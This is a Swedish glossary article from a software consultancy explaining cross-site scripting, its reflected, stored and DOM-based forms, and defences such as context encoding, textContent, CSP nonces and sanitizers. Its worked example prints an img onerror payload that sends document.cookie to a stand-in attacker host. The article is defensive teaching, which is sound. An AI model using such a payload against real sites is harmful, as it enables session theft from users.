Engineer

Cross-site scripting

en attack som får en sida att köra en angripares skript

Vad det är

Cross-site scripting, nästan alltid förkortat XSS, är angreppet där en webbplats tar text som kommit från någon annan, lägger in den i en sida som den serverar till andra och låter bli att oskadliggöra den på vägen, så att webbläsaren läser en del av texten som kod och kör den. Common Weakness Enumeration för upp det som CWE-79, under en rubrik som säger ungefär samma sak: indata som inte neutraliseras medan en webbsida genereras. Angriparen ändrar aldrig webbplatsens kod. Angriparen levererar data, och webbplatsen själv bär ut skriptet till sina egna användare, inne i sina egna sidor.

Det finns tre vägar in, och både CWE-posten och OWASP beskriver dem. Vid reflekterad XSS, även kallad icke-persistent eller Type 1, följer nyttolasten (payload) med i anropet, oftast som en URL-parameter, och servern kopierar in den i svaret: en sida med sökresultat, ett felmeddelande, allt som upprepar det den fick. Offret måste lockas att öppna en särskilt preparerad länk, och därför placerar CWE-posten sådana länkar i kärnan av många nätfiskeangrepp. Vid lagrad XSS, även kallad persistent eller Type 2, sparas nyttolasten först, i en kommentar, ett foruminlägg, ett profilfält eller ett loggmeddelande, och den körs för alla som senare tittar på den posten. Vid DOM-baserad XSS, Type 0, ser servern kanske aldrig nyttolasten alls. Sidans eget JavaScript läser något som angriparen styr, till exempel delen av adressen efter `#`, och skriver in det i dokumentet på ett sätt som får webbläsaren att tolka det som HTML-kod.

Namnet passar illa för dagens problem, och OWASP säger det själva: deras guide för att förebygga XSS (cheat sheet) kallar beteckningen missvisande. Den kommer från tidiga angrepp som stal data mellan webbplatser och har sedan vidgats till att omfatta injicering av nästan vilket innehåll som helst i en sida, oavsett om en annan webbplats är inblandad eller inte. Även förkortningen har

en historia. CWE-posten berättar att den självklara förkortningen på tre bokstäver var vanlig under de första åren, tills krocken med Cascading Style Sheets fick den att falla ur bruk.

OWASP räknar XSS som en form av injektion, i samma familj som SQL-injektion. I båda fallen korsar data en gräns och hamnar där de läses som instruktioner: där den SQL som en databas kör, här en sidas HTML-kod, attributvärden och JavaScript. Botemedlet har samma form i båda fallen. Håll data som data i det ögonblick de placeras, så har tolken ingenting från angriparen att köra.

Använd begreppet i ett beslut

Använd ”Vad är cross-site scripting?” i ett konkret beslut. Vi kan knyta begreppet till systemet ni bygger eller köper. Konton, lösenord och behörigheter ordnade så att alla har exakt den åtkomst deras arbete kräver, och de som slutar förlorar den samma dag.

Se våra tjänster Hör av er →

Granska antagandena bakom ordet

Använd förklaringen och det länkade arbetet för att formulera frågor till projektet. Vi kan undersöka antagandena tillsammans innan ett verktyg väljs. Skrev 1 000 RBAC-regler som säkrar Linux-servrar — 1,000 åtkomstregler, skrivna för att täppa till en säkerhetslucka

Skrev 1 000 RBAC-regler som säkrar Linux-servrar Hör av er →

Varför det spelar roll

Skriptet körs som webbplatsens eget. Webbläsaren håller inte reda på var texten kom ifrån; den ser en sida som webbplatsen har serverat från sitt eget ursprung och ger skriptet allt som det ursprunget får göra. OWASP uttrycker problemet så att webbläsaren inte har något sätt att veta att skriptet inte borde betros. CWE-posten drar slutsatsen: angreppet sätter avsikten bakom same-origin policy ur spel, den regel som ska hindra skript från en webbplats att sträcka sig in i en annan.

Det skriptet kan göra är det användaren kunde. CWE-79 nämner stöld av privat information i kakor, till exempel sessionsdata, som det vanligaste angreppet, och varnar för att det är särskilt farligt när offret har administratörsbehörighet på webbplatsen. OWASP:s lista är längre: att ta över kontot, följa vad användaren gör, hämta in innehåll från annat håll, stjäla känsliga data och skriva om själva sidan. Lagrad XSS i ett loggmeddelande är en klassisk väg till just de offren. CWE-posten använder det som exempel, eftersom de som läser loggar ofta är administratörer och en loggvisare inte nödvändigtvis hanterar fientlig indata ordentligt.

Det angår varje webbteam, inte bara dem som fortfarande skriver HTML-kod för hand. Moderna ramverk har gjort XSS ovanligare: OWASP tillskriver deras mallsystem och automatiska escaping färre fel. Alla ramverk har ändå nödutgångar för de fall där en utvecklare vill sätta in HTML-kod direkt, och OWASP pekar ut just dem som de ställen där problemen fortfarande uppstår. Samma guide slår fast att ingen enskild teknik löser XSS och att det krävs en kombination. Det är ramen för resten av artikeln: koda först för rätt kontext, och lägg de andra lagren bakom.

Så ser det ut i praktiken

Ta en webbutik där söksidan upprepar sökordet, så att `https://shop.example/search?q=lamp` visar `Results: lamp`. Servern bygger den raden genom att klistra in parametern i sin sidmall. En angripare skickar en länk till ett offer där `q` är detta:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Servern klistrar in den som förut, och offrets webbläsare tar emot:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Bilden går inte att ladda, eftersom `x` inte är någon bild, och webbläsaren kör `onerror`-hanteraren, som skickar användarens kakor till angriparens server. Koden sitter i ett attribut och inte i ett `<script>`-element, och det är typiskt: OWASP:s eget exempel på en nyttolast använder en bilds `onerror`-attribut på samma sätt.

Lösningen är att koda värdet för platsen där det hamnar. I brödtext i HTML betyder det att de fem tecknen `&`, `<`, `>`, `"` och `'` blir `&`, `<`, `>`, `"` och `'`. Samma nyttolast kommer då fram som `<img src=x onerror="...">`, som webbläsaren visar som text och aldrig tolkar som en tagg. Ramverk med automatisk escaping gör det åt dig; hålet öppnas där en sträng i stället byggs för hand.

I den DOM-baserade varianten skickar servern bara en statisk sida, och sidans eget skript läser `q` och skriver in det i rubriken:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // tolkar q som HTML
heading.textContent = `Results for ${q}`; // visar q som text
```

Raden med `innerHTML` ger angriparens HTML-kod till HTML-parsern, och `onerror`-hanteraren slår till precis som förut. HTML-standarden påpekar att ett `<script>`-element som sätts in på det här sättet inte körs alls, och därför lutar sig nyttolaster mot attribut för händelsehanterare i stället. Raden med `textContent` skapar en textnod och tolkar ingenting, så samma värde visas som ofarliga tecken. OWASP:s guide om DOM-baserad XSS kallar valet av ett säkert mål (sink) som detta för den bästa lösningen, och den allmänna guiden uppmanar utvecklare att skriva om koden bort från `innerHTML` och över till `textContent`.

Bakom kodningen ligger ett lager till. En Content Security Policy som anger en nonce säger åt webbläsaren att bara köra de skript som bär den. Det gällande utkastet från W3C ber servern att skapa en ny nonce varje gång den skickar en policy, på minst 128 bitar från en kryptografiskt säker slumptalsgenerator. Ett injicerat `<script>` har ingen nonce, och en inbäddad hanterare som `onerror` ovan avvisas också, eftersom bara `'unsafe-inline'` eller `'unsafe-hashes'` kan tillåta hanterare, och en nonce slår av `'unsafe-inline'`. Utkastet nämner `script-src 'strict-dynamic' 'nonce-{RANDOM}'` tillsammans med `base-uri 'self'` som ett effektivt skydd mot XSS som också går att införa i praktiken. I Chromium-baserade webbläsare går `require-trusted-types-for 'script'` längre och får mål som `innerHTML` att vägra vanliga strängar. OWASP varnar ändå för att en policy är lätt att ställa in fel och räknar den som ett extra lager snarare än det primära försvaret.

På en plattform med yrkes- och organisationsdata sätter middlewaren i Next.js en sådan policy med en nonce per anrop och strict-dynamic tillsammans med HSTS och SameSite-kakor, så att webbläsaren är låst när det gäller vad den kör och skickar. Samma sida beskriver skydd i flera lager för att undvika beroende av en enda kontroll. Auktoriseringen på servern är utformad för att fungera oberoende av kontrollerna på klienten, så att gränssnittet inte avgör vem som får åtkomst.

Var det går fel

Kodning för fel kontext. Kodning till HTML-entiteter är rätt för text mellan taggar och inte tillräckligt på andra ställen. OWASP ger varje kontext sin egen regel: ett värde i en URL-parameter procentkodas på formen `%HH`, och ett värde i ett attribut kodas för attribut och sätts inom citattecken. Kodning skyddar dessutom bara platsen där en sträng sätts in, inte vad som händer med den senare; ett värde som skickas vidare till `eval()` är osäkert vad man än har gjort med det. Ha klart för dig var varje värde hamnar, och använd ramverkets kodare för just den platsen.

Attribut utan citattecken. Ett blanksteg avslutar ett attributvärde utan citattecken, så en angripare som kan lägga till ett blanksteg kan lägga till ett eget attribut, och `onmouseover=` är allt som behövs. Sätt alltid attributvärden inom citattecken, och använd ramverkets attributkodare.

Användardata i ett attribut för händelsehantering. Attributkodning skyddar inte JavaScript i `onclick` och dess släktingar, eftersom HTML-parsern avkodar teckenreferenser innan skriptet tolkas. Koppla hanterare med `addEventListener()` och skicka med användarens värde som data.

En nödutgång i ramverket matad med rå indata. `dangerouslySetInnerHTML` i React, `bypassSecurityTrustAs*`-funktionerna i Angular och `unsafeHTML` i Lit slår alla av den automatiska escapingen. När användare verkligen behöver skriva HTML-kod, låt den gå genom en sanerare som DOMPurify, som OWASP rekommenderar, ändra inte resultatet efteråt, och håll biblioteket uppdaterat, eftersom nya sätt att ta sig förbi det hittas hela tiden.

En `javascript:`-URL i en länk. Ett fält för webbadress i en profil som innehåller `javascript:` följt av kod gör en harmlös länk till ett skript. React 19 blockerar sådana URL:er i `src` och `href`, men OWASP säger att det inte ersätter applikationens egen validering av URL:er. Tillåt de adresstyper som fältet faktiskt behöver, som `https:`, och avvisa allt annat.

Indatavalidering eller en WAF som lösningen. Validering hjälper, men den kan inte ta bort alla farliga tecken ur fritext. Exemplet i CWE-posten är hjärtsymbolen `<3`, som valideringen i en chattapplikation troligen skulle släppa igenom och som ändå innehåller `<`. En brandvägg för webbapplikationer (web application firewall) letar efter kända angreppssträngar, missar nya kringgåenden och ser

aldrig DOM-baserad XSS som sker helt i webbläsaren; OWASP rekommenderar inte en sådan för att förebygga XSS. Koda utdata, och räkna båda som extra lager.

HttpOnly som botemedel. När sessionskakan är märkt HttpOnly kan `document.cookie` inte läsa den, och det tar udden av den vanligaste nyttolasten. Skriptet körs ändå och kan agera som användaren inifrån sidan. CWE-posten kallar HttpOnly ingen fullständig lösning, och OWASP säger att attributen på kakor begränsar skadan utan att hindra körningen. Sätt det, och täpp till själva hålet.

JSON serverad som HTML. En slutpunkt som returnerar användardata med `Content-Type: text/html` bjuder in webbläsaren att tolka dem som en sida. OWASP:s regel är att kontrollera att JSON går ut som `application/json`. Sätt headern uttryckligen på varje sådant svar.

Policyn som det primära försvaret. En nonce som återanvänds mellan svar, en saknad `base-uri` eller en `'unsafe-inline'` som lades till för att få en enda widget att fungera kan var för sig i tysthet sätta en policy ur spel. Koda först, och låt policyn fånga det som slinker igenom.

Läs mer

- CWE-79 in the Common Weakness Enumeration — svaghetsposten: de tre typerna, konsekvenserna och motåtgärderna med deras begränsningar.
- OWASP Cross Site Scripting Prevention Cheat Sheet — kodning för varje kontext, ramverkens nödutgångar, sanering och lagren bakom dem.
- OWASP DOM based XSS Prevention Cheat Sheet — säkra och osäkra mål i webbläsaren, med genomgångna exempel.
- OWASP: Cross Site Scripting (XSS) — angreppet sett från angriparens sida, med exempel på nyttolaster.
- HTML Standard: Scripting — hur och när `script`-elementet körs, även i HTML-kod som sätts in.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` och den strikta policy som utkastet rekommenderar.

Ordlista

Välj utifrån era faktiska förutsättningar

Ta med driftsättningsvägen, driftsriskerna och dem som har jour. Vi kan avgränsa en förändring med kontroller, en väg tillbaka och tydligt ansvar.

Se vad det kostar Hör av er →

Gör begreppen praktiska

Fråga hur ”Vad är cross-site scripting?” gäller i er organisation. Ett konkret exempel från ert nuvarande system räcker för att börja samtalet.

Se våra tjänster

welcome@engineer.company +45 50 10 61 84 Köpenhamn, Danmark

Ta med dig den här sidan

Visitkort

Omsorgsfullt skapad med kärlek av D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Upphovsrätt © 2025 – nu · Engineer ApS · Alla rättigheter förbehållna.

Utskrivet från https://engineer.company/sv/glossary/cross-site-scripting/